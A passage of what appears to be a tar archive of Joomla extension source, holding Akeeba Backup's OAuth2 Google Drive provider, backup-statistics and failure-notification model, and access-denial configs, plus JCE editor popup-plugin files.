}com_akeeba/Model/Oauth2/GoogledriveEngine.php000060400000002247152453734450015136 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

use FOF40\Input\Input;

class GoogledriveEngine extends AbstractProvider implements ProviderInterface
{
	/** @var string  */
	protected $tokenEndpoint = 'https://www.googleapis.com/oauth2/v4/token';

	/** @var string  */
	protected $engineNameForHumans = 'Google Drive';

	public function getAuthenticationUrl(): string
	{
		$this->checkConfiguration();

		[$id, $secret] = $this->getIdAndSecret();

		$params = [
			'client_id'     => $id,
			'redirect_uri'  => $this->getUri('step2'),
			'scope'         => 'https://www.googleapis.com/auth/drive',
			'access_type'   => 'offline',
			'prompt'        => 'consent',
			'response_type' => 'code',
		];

		return 'https://accounts.google.com/o/oauth2/v2/auth?' . http_build_query($params);
	}

	protected function getResponseCustomFields(Input $input): array
	{
		return array_merge(
			parent::getResponseCustomFields($input),
			[
				'redirect_uri' => $this->getUri('step2'),
			]
		);
	}
}com_akeeba/Model/Oauth2/OAuth2Exception.php000060400000004156152453734450014524 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model\Oauth2;

defined('_JEXEC') || die;

use RuntimeException;
use Throwable;

/**
 * Generic OAuth2 Helper error
 *
 * @since   8.4.0
 */
class OAuth2Exception extends RuntimeException
{
	public function __construct(string $error, ?string $description = "", Throwable $previous = null)
	{
		$description = $description ?: $this->getDefaultErrorDescription($error);
		$message     = sprintf('%s: %s', $error, $description);

		parent::__construct($message, 500, $previous);
	}

	private function getDefaultErrorDescription(string $error): string
	{
		switch ($error)
		{
			case 'invalid_request':
				return 'The request sent to the storage provider is invalid. Please check your Client ID and Client Secret in Akeeba Backup\'s configuration. Also, make sure the callback URI is set up correctly on the remote storage provider. If necessary, relink Akeeba Backup with the remote storage provider';

			case 'invalid_client':
				return 'The configured Client ID is incorrect.';

			case 'invalid_grant':
				return 'The grant type is invalid, the code has already been used (you tried to refresh the page), you failed to log into the remote storage provider, or declined to give authorisation.';

			case 'unauthorized_client':
				return 'Your account with the remote storage provider is not allowed to be linked with your API application. Please check your API application configuration with the remote storage provider.';

			case 'unsupported_grant_type':
				return 'The grant type requested is not supported by the remote storage provider. Please check your API application configuration with the remote storage provider.';

			case 'invalid_scope':
				return 'The authentication scope requested is not supported by the remote storage provider. Please check your API application configuration with the remote storage provider.';

			default:
				return 'A generic error occurred, which we do not have any further information for.';
		}
	}

}com_akeeba/Model/Oauth2.php000060400000002601152453734450011534 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Site\Model;

defined('_JEXEC') || die;

use Akeeba\Backup\Site\Model\Oauth2\ProviderInterface;
use FOF40\Model\Model;
use Joomla\CMS\Component\ComponentHelper;

/**
 * Custom OAuth2 Helper model
 *
 * @since   8.4.0
 */
class Oauth2 extends Model
{
	/**
	 * Returns the provider object for the requested engine
	 *
	 * @param   string  $engine  The requested engine
	 *
	 * @return  ProviderInterface  The provider object
	 * @throws  \InvalidArgumentException  If the engine is not available
	 * @since   8.4.0
	 */
	public function getProvider(string $engine): ProviderInterface
	{
		$className = __NAMESPACE__ . '\\Oauth2\\' . ucfirst(strtolower($engine)) . 'Engine';

		if (!class_exists($className))
		{
			throw new \InvalidArgumentException(sprintf("Invalid engine: %s", $engine));
		}

		return new $className;
	}

	/**
	 * Is the requested provider enabled in the component options?
	 *
	 * @param   string  $engine  The requested engine
	 *
	 * @return  bool
	 * @since   8.4.0
	 */
	public function isEnabled(string $engine): bool
	{
		$key     = sprintf('oauth2_client_%s', strtolower($engine));
		$cParams = ComponentHelper::getParams('com_akeeba');

		return $cParams->get($key, 0) != 0;
	}
}com_akeeba/Model/.htaccess000060400000000246152453734450011462 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/Model/Statistics.php000060400000043117152453734450012533 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Model\Exceptions\FrozenRecordError;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use FOF40\Container\Container;
use FOF40\Date\Date;
use FOF40\Model\DataModel\Exception\RecordNotLoaded;
use FOF40\Model\Model;
use Joomla\CMS\Access\Access;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Pagination\Pagination;
use Joomla\CMS\User\User;
use RuntimeException;

class Statistics extends Model
{
	/**
	 * The JPagination object, used in the GUI
	 *
	 * @var  Pagination
	 */
	private $pagination;

	/**
	 * Public constructor.
	 *
	 * @param   Container  $container  The configuration variables to this model
	 * @param   array      $config     Configuration values for this model
	 */
	public function __construct(Container $container, array $config)
	{
		$defaultConfig = [
			'tableName'   => '#__ak_stats',
			'idFieldName' => 'id',
		];

		if (!is_array($config) || empty($config))
		{
			$config = [];
		}

		$config = array_merge($defaultConfig, $config);

		parent::__construct($container, $config);

		$platform     = $this->container->platform;
		$defaultLimit = $platform->getConfig()->get('list_limit', 10);

		if ($platform->isCli())
		{
			$limit      = $this->input->getInt('limit', $defaultLimit);
			$limitstart = $this->input->getInt('limitstart', 0);
		}
		else
		{
			$limit      = $platform->getUserStateFromRequest('global.list.limit', 'limit', $this->input, $defaultLimit);
			$limitstart = $platform->getUserStateFromRequest('com_akeeba.stats.limitstart', 'limitstart', $this->input, 0);
		}

		if ($platform->isFrontend())
		{
			$limit      = 0;
			$limitstart = 0;
		}

		// Set the page pagination variables
		$this->setState('limit', $limit);
		$this->setState('limitstart', $limitstart);
	}

	/**
	 * Is this string a valid remote filename?
	 *
	 * We've had reports that some servers return a bogus, non-empty string for some remote_filename columns, causing
	 * the "Manage remote stored files" column to appear even for locally stored files. By applying more rigorous tests
	 * for the remote_filename column we can avoid this problem.
	 *
	 * @param   string|null  $filename
	 *
	 * @return  bool
	 *
	 * @since   8.1.4
	 */
	public function isRemoteFilename(string $filename = null): bool
	{
		// A remote filename has to be a string which is does not consist solely of whitespace
		if (!is_string($filename) || trim($filename) === '')
		{
			return false;
		}

		// Let's remote whitespace just in case
		$filename = trim($filename);

		// A remote filename must be in the format engine://path
		if (strpos($filename, '://') === false)
		{
			return false;
		}

		// Get the engine and path
		[$engine, $path] = explode('://', $filename, 2);
		$engine = trim($engine);
		$path   = trim($path);

		// Both engine and path must be non-empty
		if (empty($engine) || empty($path))
		{
			return false;
		}

		// The engine must be known to the backup engine
		$classname = 'Akeeba\\Engine\\Postproc\\' . ucfirst($engine);

		return class_exists($classname);
	}

	/**
	 * Returns the same list as getStatisticsList(), but includes an extra field
	 * named 'meta' which categorises attempts based on their backup archive status
	 *
	 * @param   bool   $overrideLimits  Should I disregard limit, limitStart and filters?
	 * @param   array  $filters         Filters to apply. See Platform::get_statistics_list
	 * @param   array  $order           Results ordering. The accepted keys are by (column name) and order (ASC or DESC)
	 *
	 * @return  array  An array of arrays. Each inner array is one backup record.
	 */
	public function &getStatisticsListWithMeta($overrideLimits = false, $filters = null, $order = null)
	{
		$limitstart = $overrideLimits ? 0 : $this->getState('limitstart', 0);
		$limit      = $overrideLimits ? 0 : $this->getState('limit', 10);
		$filters    = $overrideLimits ? null : $filters;

		if (is_array($order) && isset($order['order']))
		{
			$order['order'] = strtoupper($order['order']) === 'ASC' ? 'asc' : 'desc';
		}

		$allStats = Platform::getInstance()->get_statistics_list([
			'limitstart' => $limitstart,
			'limit'      => $limit,
			'filters'    => $filters,
			'order'      => $order,
		]);

		$validRecords          = Platform::getInstance()->get_valid_backup_records() ?: [];
		$updateObsoleteRecords = [];
		$ret                   = array_map(function (array $stat) use (&$updateObsoleteRecords, $validRecords) {
			$hasRemoteFiles = false;

			// Translate backup status and the existence of a remote filename to the backup record's "meta" status.
			switch ($stat['status'])
			{
				case 'run':
					$stat['meta'] = 'pending';
					break;

				case 'fail':
					$stat['meta'] = 'fail';
					break;

				default:
					$hasRemoteFiles = $this->isRemoteFilename($stat['remote_filename']);
					$stat['meta']   = $hasRemoteFiles ? 'remote' : 'obsolete';
					break;
			}

			$stat['hasRemoteFiles'] = $hasRemoteFiles;

			// If the backup is reported to have files still stored on the server we need to investigate further
			if (in_array($stat['id'], $validRecords))
			{
				$archives      = Factory::getStatistics()->get_all_filenames($stat);
				$hasLocalFiles = (is_array($archives) ? count($archives) : 0) > 0;
				$stat['meta']  = $hasLocalFiles ? 'ok' : ($hasRemoteFiles ? 'remote' : 'obsolete');

				// The archives exist. Set $stat['size'] to the total size of the backup archives.
				if ($hasLocalFiles)
				{
					$stat['size'] = $stat['total_size']
						?: array_reduce(
							$archives,
							function ($carry, $filename) {
								return $carry += @filesize($filename) ?: 0;
							},
							0
						);

					return $stat;
				}

				// The archives do not exist or we can't find them. If the record says otherwise we need to update it.
				if ($stat['filesexist'])
				{
					$updateObsoleteRecords[] = $stat['id'];
				}

				// Does the backup record report a total size even though our files no longer exist?
				if ($stat['total_size'])
				{
					$stat['size'] = $stat['total_size'];
				}
			}

			return $stat;
		}, $allStats);

		// Update records which report that their files exist on the server but, in fact, they don't.
		Platform::getInstance()->invalidate_backup_records($updateObsoleteRecords);

		return $ret;
	}

	/**
	 * Send an email notification for failed backups
	 *
	 * @return  array  See the CLI script
	 */
	public function notifyFailed()
	{
		// Invalidate stale backups
		try
		{
			Factory::resetState([
				'global' => true,
				'log'    => false,
				'maxrun' => $this->container->params->get('failure_timeout', 180),
			]);
		}
		catch (Exception $e)
		{
			// This will die if the output directory is invalid. Let it die, then.
		}

		// Get the last execution and search for failed backups AFTER that date
		$last = $this->getLastCheck();

		// Get failed backups
		$filters = [
			['field' => 'status', 'operand' => '=', 'value' => 'fail'],
			['field' => 'backupstart', 'operand' => '>', 'value' => $last],
		];

		$failed = Platform::getInstance()->get_statistics_list(['filters' => $filters]);

		// Well, everything went ok.
		if (!$failed)
		{
			return [
				'message' => ["No need to run: no failed backups or notifications were already sent."],
				'result'  => true,
			];
		}

		// Whops! Something went wrong, let's start notifing
		$superAdmins     = [];
		$superAdminEmail = $this->container->params->get('failure_email_address', '');

		if (!empty($superAdminEmail))
		{
			$superAdmins = $this->getSuperUsers($superAdminEmail);
		}

		if (empty($superAdmins))
		{
			$superAdmins = $this->getSuperUsers();
		}

		if (empty($superAdmins))
		{
			return [
				'message' => ["WARNING! Failed backup(s) detected, but there are no configured Super Administrators to receive notifications"],
				'result'  => false,
			];
		}

		$failedReport = [];

		foreach ($failed as $fail)
		{
			$string = "Description : " . $fail['description'] . "\n";
			$string .= "Start time  : " . $fail['backupstart'] . "\n";
			$string .= "Origin      : " . $fail['origin'] . "\n";
			$string .= "Type        : " . $fail['type'] . "\n";
			$string .= "Profile ID  : " . $fail['profile_id'] . "\n";
			$string .= "Backup ID   : " . $fail['id'];

			$failedReport[] = $string;
		}

		$failedReport = implode("\n#-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+#\n", $failedReport);

		$email_subject = $this->container->params->get('failure_email_subject', '');

		if (!$email_subject)
		{
			$email_subject = <<<ENDSUBJECT
THIS EMAIL IS SENT FROM YOUR SITE "[SITENAME]" - Failed backup(s) detected
ENDSUBJECT;
		}

		$email_body = $this->container->params->get('failure_email_body', '');

		if (!$email_body)
		{
			$email_body = <<<ENDBODY
================================================================================
FAILED BACKUP ALERT
================================================================================

Your site has determined that there are failed backups.

The following backups are found to be failing:

[FAILEDLIST]

================================================================================
WHY AM I RECEIVING THIS EMAIL?
================================================================================

This email has been automatically sent by scritp you, or the person who built
or manages your site, has installed and explicitly configured. This script looks
for failed backups and sends an email notification to all Super Users.

If you do not understand what this means, please do not contact the authors of
the software. They are NOT sending you this email and they cannot help you.
Instead, please contact the person who built or manages your site.

================================================================================
WHO SENT ME THIS EMAIL?
================================================================================

This email is sent to you by your own site, [SITENAME]

ENDBODY;
		}

		$jconfig = $this->container->platform->getConfig();

		$mailfrom = $jconfig->get('mailfrom');
		$fromname = $jconfig->get('fromname');

		$email_subject = Factory::getFilesystemTools()->replace_archive_name_variables($email_subject);
		$email_body    = Factory::getFilesystemTools()->replace_archive_name_variables($email_body);
		$email_body    = str_replace('[FAILEDLIST]', $failedReport, $email_body);

		foreach ($superAdmins as $sa)
		{
			try
			{
				$mailer = JFactory::getMailer();

				$mailer->setSender([$mailfrom, $fromname]);
				$mailer->addRecipient($sa->email);
				$mailer->setSubject($email_subject);
				$mailer->setBody($email_body);
				$mailer->Send();
			}
			catch (Exception $e)
			{
				// Joomla! 3.5 is written by incompetent bonobos
			}
		}

		// Let's update the last time we check, so we will avoid to send
		// the same notification several times
		$this->updateLastCheck(intval($last));

		return [
			'message' => [
				"WARNING! Found " . count($failed) . " failed backup(s)",
				"Sent " . count($superAdmins) . " notifications",
			],
			'result'  => true,
		];
	}

	/**
	 * Delete the backup statistics record whose ID is set in the model
	 *
	 * @return  bool  True on success
	 */
	public function delete()
	{
		$db = $this->container->db;

		$id = $this->getState('id', 0);

		if ((!is_numeric($id)) || ($id <= 0))
		{
			throw new RecordNotLoaded(Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID'));
		}

		// Try to delete files. This will check (and stop) if any record is a frozen one
		$this->deleteFile();

		if (!Platform::getInstance()->delete_statistics($id))
		{
			throw new RuntimeException($db->getError(), 500);
		}

		return true;
	}

	/**
	 * Delete the backup file of the stats record whose ID is set in the model
	 *
	 * @return  bool  True on success
	 */
	public function deleteFile()
	{
		$id = $this->getState('id', 0);

		if ((!is_numeric($id)) || ($id <= 0))
		{
			throw new RecordNotLoaded(Text::_('COM_AKEEBA_BUADMIN_ERROR_INVALIDID'));
		}

		// Get the backup statistics record and the files to delete
		$stat     = (array) Platform::getInstance()->get_statistics($id);

		if ($stat['frozen'])
		{
			throw new FrozenRecordError(Text::_('COM_AKEEBA_BUADMIN_FROZENRECORD_ERROR'));
		}

		$allFiles = Factory::getStatistics()->get_all_filenames($stat, false);

		// Remove the custom log file if necessary
		$this->deleteLogs($stat);

		// No files? Nothing to do.
		if (empty($allFiles))
		{
			return true;
		}

		$status = true;

		foreach ($allFiles as $filename)
		{
			if (!@file_exists($filename))
			{
				continue;
			}

			$new_status = @unlink($filename);

			if (!$new_status)
			{
				$new_status = File::delete($filename);
			}

			$status = $status ? $new_status : false;
		}

		return $status;
	}

	/**
	 * Get a Joomla! pagination object
	 *
	 * @param   array  $filters  Filters to apply. See Platform::get_statistics_list
	 *
	 * @return  Pagination
	 */
	public function &getPagination($filters = null)
	{
		if (empty($this->pagination))
		{
			// Prepare pagination values
			$total      = Platform::getInstance()->get_statistics_count($filters);
			$limitstart = $this->getState('limitstart', 0);
			$limit      = $this->getState('limit', 10);

			// Create the pagination object
			$this->pagination = new Pagination($total, $limitstart, $limit);
		}

		return $this->pagination;
	}

	/**
	 * Set the flag to hide the restoration instructions modal from the Manage Backups page
	 *
	 * @return  void
	 */
	public function hideRestorationInstructionsModal()
	{
		$this->container->params->set('show_howtorestoremodal', 0);
		$this->container->params->save();
	}

	/**
	 * Freeze or melt a backup report
	 *
	 * @param array $ids        Array of backup IDs that should be updated
	 * @param int   $freeze     1= freeze, 0= melt
	 *
	 * @throws Exception
	 */
	public function freezeUnfreezeRecords(array $ids, $freeze)
	{
		if (!$ids)
		{
			return;
		}

		$freeze = (int) $freeze;

		foreach ($ids as $id)
		{
			// If anything wrong happens, let the exception bubble up, so it will be reported
			Platform::getInstance()->set_or_update_statistics($id, ['frozen' => $freeze]);
		}
	}

	/**
	 * Deletes the backup-specific log files of a stats record
	 *
	 * @param   array  $stat  The array holding the backup stats record
	 *
	 * @return  void
	 */
	protected function deleteLogs(array $stat)
	{
		// We can't delete logs if there is no backup ID in the record
		if (!isset($stat['backupid']) || empty($stat['backupid']))
		{
			return;
		}

		$logFileNames = [
			'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log',
			'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log.php',
		];

		foreach ($logFileNames as $logFileName)
		{
			$logPath = dirname($stat['absolute_path']) . '/' . $logFileName;

			if (@file_exists($logPath))
			{
				if (!@unlink($logPath))
				{
					File::delete($logPath);
				}
			}
		}
	}

	/**
	 * Returns the Super Users' email information. If you provide a comma separated $email list we will check that these
	 * emails do belong to Super Users and that they have not blocked reception of system emails.
	 *
	 * @param   null|string  $email  A list of Super Users to email, null for all Super Users
	 *
	 * @return  User[]  The list of Super User objects
	 */
	private function getSuperUsers($email = null)
	{
		// Convert the email list to an array
		$emails = [];

		if (!empty($email))
		{
			$temp   = explode(',', $email);
			$emails = [];

			foreach ($temp as $entry)
			{
				$emails[] = trim($entry);
			}

			$emails = array_unique($emails);
			$emails = array_map('strtolower', $emails);
		}

		// Get all usergroups with Super User access
		$db     = $this->getContainer()->db;
		$q      = $db->getQuery(true)
			->select([$db->qn('id')])
			->from($db->qn('#__usergroups'));
		$groups = $db->setQuery($q)->loadColumn();

		// Get the groups that are Super Users
		$groups = array_filter($groups, function ($gid) {
			return Access::checkGroup($gid, 'core.admin');
		});

		$userList = [];

		foreach ($groups as $gid)
		{
			$uids = Access::getUsersByGroup($gid);

			array_walk($uids, function ($uid, $index) use (&$userList) {
				$userList[$uid] = $this->container->platform->getUser($uid);
			});
		}

		if (empty($emails))
		{
			return $userList;
		}

		$userList = array_filter($userList, function (User $user) use ($emails) {
			return in_array(strtolower($user->email), $emails);
		});

		return $userList;
	}

	/**
	 * Update the time we last checked for failed backups
	 *
	 * @param   int  $exists  Any non zero value means that we update, not insert, the record
	 *
	 * @return  void
	 */
	private function updateLastCheck($exists)
	{
		$db = $this->container->db;

		$now      = new Date();
		$nowToSql = $now->toSql();

		$query = $db->getQuery(true)
			->insert($db->qn('#__ak_storage'))
			->columns([$db->qn('tag'), $db->qn('lastupdate')])
			->values($db->q('akeeba_checkfailed') . ', ' . $db->q($nowToSql));

		if ($exists)
		{
			$query = $db->getQuery(true)
				->update($db->qn('#__ak_storage'))
				->set($db->qn('lastupdate') . ' = ' . $db->q($nowToSql))
				->where($db->qn('tag') . ' = ' . $db->q('akeeba_checkfailed'));
		}

		try
		{
			$db->setQuery($query)->execute();
		}
		catch (Exception $exc)
		{
		}
	}

	/**
	 * Get the last update check date and time stamp
	 *
	 * @return  string
	 */
	private function getLastCheck()
	{
		$db = $this->container->db;

		$query = $db->getQuery(true)
			->select($db->qn('lastupdate'))
			->from($db->qn('#__ak_storage'))
			->where($db->qn('tag') . ' = ' . $db->q('akeeba_checkfailed'));

		$datetime = $db->setQuery($query)->loadResult();

		if (!intval($datetime))
		{
			$datetime = $db->getNullDate();
		}

		return $datetime;
	}
}
com_akeeba/Model/web.config000060400000001025152453734450011624 0ustar00<?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>com_akeeba/akeeba.php000060400000004754152453734450010555 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die();

JDEBUG ? (defined('AKEEBADEBUG') || define('AKEEBADEBUG', 1)) : null;

$minPHPVersion         = '7.2.0';
$recommendedPHPVersion = '7.4';
$softwareName          = 'Akeeba Backup';

if (version_compare(PHP_VERSION, '7.2.0', 'lt'))
{
	echo 'Akeeba Backup requires PHP 7.2 or later.';

	return;
}

// HHVM made sense in 2013, now PHP 7 is a way better solution than a hybrid PHP interpreter
if (defined('HHVM_VERSION'))
{
	(include_once __DIR__ . '/tmpl/CommonTemplates/hhvm.php') || die('We have detected that you are running HHVM instead of PHP. This software WILL NOT WORK properly on HHVM. Please switch to PHP 7 instead.');

	return;
}

// So, FEF is not installed?
if (!@file_exists(JPATH_SITE . '/media/fef/fef.php'))
{
	(include_once __DIR__ . '/tmpl/CommonTemplates/fef.php') || die('You need to have the Akeeba Frontend Framework (FEF) package installed on your site to display this component. Please visit https://www.akeeba.com/download/official/fef.html to download it and install it on your site.');

	return;
}

/**
 * The following code is a neat trick to help us collect the maximum amount of relevant information when a user
 * encounters an unexpected exception or a PHP fatal error. In both cases we capture the generated Throwable and
 * render an error page, making sure that the HTTP response code is set to an appropriate value (4xx or 5xx).
 */
try
{
	if (!defined('FOF40_INCLUDED') && !@include_once(JPATH_LIBRARIES . '/fof40/include.php'))
	{
		(include_once __DIR__ . '/tmpl/CommonTemplates/fof.php') || die('You need to have the Akeeba Framework-on-Framework (FOF) 4 package installed on your site to use this component. Please visit https://www.akeeba.com/download/fof3.html to download it and install it on your site.');

		return;
	}

	$caCertPath = class_exists('\\Composer\\CaBundle\\CaBundle')
		? \Composer\CaBundle\CaBundle::getBundledCaBundlePath()
		: JPATH_LIBRARIES . '/src/Http/Transport/cacert.pem';

	define('AKEEBA_CACERT_PEM', $caCertPath);

	FOF40\Container\Container::getInstance('com_akeeba')->dispatcher->dispatch();
}
catch (Throwable $e)
{
	$title = 'Akeeba Backup';
	$isPro = defined(AKEEBA_PRO) ? AKEEBA_PRO : file_exists(__DIR__ . '/tmpl/CommonTemplates/RegExDatabaseFilters/Html.php');

	if (!(include_once __DIR__ . '/tmpl/CommonTemplates/errorhandler.php'))
	{
		throw $e;
	}
}
com_akeeba/index.html000060400000000352152453734450010617 0ustar00<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2022 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->

<html><head><title></title></head><body></body></html>com_jce/jce.php000060400000002313152453734450007424 0ustar00<?php
/**
 * @copyright     Copyright (c) 2009-2022 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 3 - http://www.gnu.org/copyleft/gpl.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\MVC\Controller\BaseController;

// define admin base path
define('WF_ADMIN', __DIR__);

$app = Factory::getApplication();

// throw exception for legacy task
if ($app->input->get('task') === 'plugin') {
    throw new Exception('Restricted', 403);
}

$vName = $app->input->get('view');

// fix legacy plugin url
if ($vName == 'editor' && $app->input->get('layout') == 'plugin') {

    if ($app->input->get('plugin')) {
        $app->input->set('task', 'plugin.display');
    }

    $app->input->set('view', '');
}

// constants and autoload
require_once __DIR__ . '/includes/base.php';

$controller = BaseController::getInstance('Jce', array('base_path' => __DIR__));

$controller->execute($app->input->get('task'));
$controller->redirect();com_jce/editor/extensions/popups/jcemediabox.xml000060400000010407152453734450016164 0ustar00<?xml version="1.0" ?>
<extension version="3.4" type="plugin" group="jce" method="upgrade">
    <name>WF_POPUPS_JCEMEDIABOX_TITLE</name>
    <version>2.9.99.2</version>
    <creationDate>22-04-2026</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>https://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Copyright (C) 2006 - 2026 Ryan Demmer. All rights reserved</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_POPUPS_JCEMEDIABOX_DESC</description>
    <files>
        <file>jcemediabox.php</file>
        <folder>jcemediabox</folder>
    </files>
    <fields name="jcemediabox">
        <fieldset name="jcemediabox">
            <field name="enable" type="yesno" default="1" label="WF_LABEL_EXTENSION_ENABLE" description="WF_LABEL_EXTENSION_ENABLE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>
            
            <field name="popup_group" type="text" default="" label="WF_POPUPS_JCEMEDIABOX_GROUP" description="WF_POPUPS_JCEMEDIABOX_GROUP_DESC" />

            <field name="popup_icon" type="yesno" default="1" label="WF_POPUPS_JCEMEDIABOX_ICON" description="WF_POPUPS_JCEMEDIABOX_ICON_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="popup_icon_position" type="list" default="" label="WF_POPUPS_JCEMEDIABOX_ICON_POSITION" description="WF_POPUPS_JCEMEDIABOX_ICON_POSITION_DESC">
                <option value="">WF_OPTION_NOT_SET</option>
                <option value="icon-left">WF_OPTION_LEFT</option>
                <option value="icon-right">WF_OPTION_RIGHT</option>
                <option value="icon-top-left">WF_OPTION_TOP_LEFT</option>
                <option value="icon-top-right">WF_OPTION_TOP_RIGHT</option>
                <option value="icon-bottom-left">WF_OPTION_BOTTOM_LEFT</option>
                <option value="icon-bottom-right">WF_OPTION_BOTTOM_RIGHT</option>
            </field>

            <field name="popup_autopopup" type="list" default="" label="WF_POPUPS_JCEMEDIABOX_AUTO" description="WF_POPUPS_JCEMEDIABOX_AUTO_DESC">
                <option value="">WF_OPTION_NOT_SET</option>
                <option value="autopopup-single">WF_POPUPS_JCEMEDIABOX_AUTO_SINGLE</option>
                <option value="autopopup-multiple">WF_POPUPS_JCEMEDIABOX_AUTO_MULTIPLE</option>
            </field>

            <field name="popup_hide" type="yesno" default="0" label="WF_POPUPS_JCEMEDIABOX_HIDE" description="WF_POPUPS_JCEMEDIABOX_HIDE_DESC">
                <option value="1">JYES</option>
                <option value="0">JNO</option>
            </field>

            <field name="popup_mediatype" type="list" default="" label="WF_POPUPS_JCEMEDIABOX_MEDIATYPE" description="WF_POPUPS_JCEMEDIABOX_MEDIATYPE_DESC">
                <option value="">WF_OPTION_NOT_SET</option>
                <option value="text/html">WF_POPUPS_JCEMEDIABOX_INTERNAL</option>
                <option value="iframe">WF_POPUPS_JCEMEDIABOX_EXTERNAL</option>
                <option value="image">WF_POPUPS_JCEMEDIABOX_IMAGE</option>
                <option value="application/x-shockwave-flash">WF_POPUPS_JCEMEDIABOX_FLASH</option>
                <option value="video/quicktime">WF_POPUPS_JCEMEDIABOX_QUICKTIME</option>
                <option value="application/x-mplayer2">WF_POPUPS_JCEMEDIABOX_WINDOWSMEDIA</option>
                <option value="video/divx">WF_POPUPS_JCEMEDIABOX_DIVX</option>
                <option value="application/x-director">WF_POPUPS_JCEMEDIABOX_DIRECTOR</option>
                <option value="audio/x-pn-realaudio-plugin">WF_POPUPS_JCEMEDIABOX_REAL</option>
                <option value="video/mp4">WF_POPUPS_JCEMEDIABOX_VIDEO_MP4</option>
                <option value="audio/mp3">WF_POPUPS_JCEMEDIABOX_AUDIO_MP3</option>
                <option value="video/webm">WF_POPUPS_JCEMEDIABOX_VIDEO_WEBM</option>
                <option value="audio/webm">WF_POPUPS_JCEMEDIABOX_AUDIO_WEBM</option>
            </field>

        </fieldset>
    </fields>
    <media></media>
    <plugins>link,imgmanager_ext,mediamanager,filemanager</plugins>
    <languages></languages>
</extension>
 com_jce/editor/extensions/popups/index.html000060400000000054152453734450015162 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_jce/editor/extensions/popups/jcemediabox.php000060400000004114152453734450016151 0ustar00<?php
/**
 * @package     JCE
 * @subpackage  Editor
 *
 * @copyright   Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved.
 * @copyright   Copyright (c) 2009-2024 Ryan Demmer. All rights reserved
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

\defined('_JEXEC') or die;

use Joomla\CMS\Plugin\PluginHelper;

class WFPopupsExtension_Jcemediabox
{
    /**
     * Constructor activating the default information of the class.
     */
    public function __construct()
    {
        if (self::isEnabled()) {
            $scripts = array();

            $document = WFDocument::getInstance();

            $document->addScript('jcemediabox', 'extensions/popups/jcemediabox/js');
            $document->addStyleSheet('jcemediabox', 'extensions/popups/jcemediabox/css');
        }
    }

    public function getParams()
    {
        $wf = WFEditorPlugin::getInstance();

        return array(
            'width' => 600,
            'album' => '#jcemediabox_popup_group',
            'multiple' => '#jcemediabox_popup_title,#jcemediabox_popup_caption',
            'attribute' => $wf->getParam('popups.jcemediabox.attribute', 'data-mediabox'),
            'popup_group' => $wf->getParam('popups.jcemediabox.popup_group', ''),
            'popup_icon' => $wf->getParam('popups.jcemediabox.popup_icon', 1),
            'popup_icon_position' => $wf->getParam('popups.jcemediabox.popup_icon_position', ''),
            'popup_autopopup' => $wf->getParam('popups.jcemediabox.popup_autopopup', ''),
            'popup_hide' => $wf->getParam('popups.jcemediabox.popup_hide', 0),
            'popup_mediatype' => $wf->getParam('popups.jcemediabox.popup_mediatype', ''),
        );
    }

    public function isEnabled()
    {
        $wf = WFEditorPlugin::getInstance();

        if ((PluginHelper::isEnabled('system', 'jcemediabox') || PluginHelper::isEnabled('system', 'wf_lightcase')) && $wf->getParam('popups.jcemediabox.enable', 1) == 1) {
            return true;
        }

        return false;
    }

    public function checkVersion()
    {
        return true;
    }
}
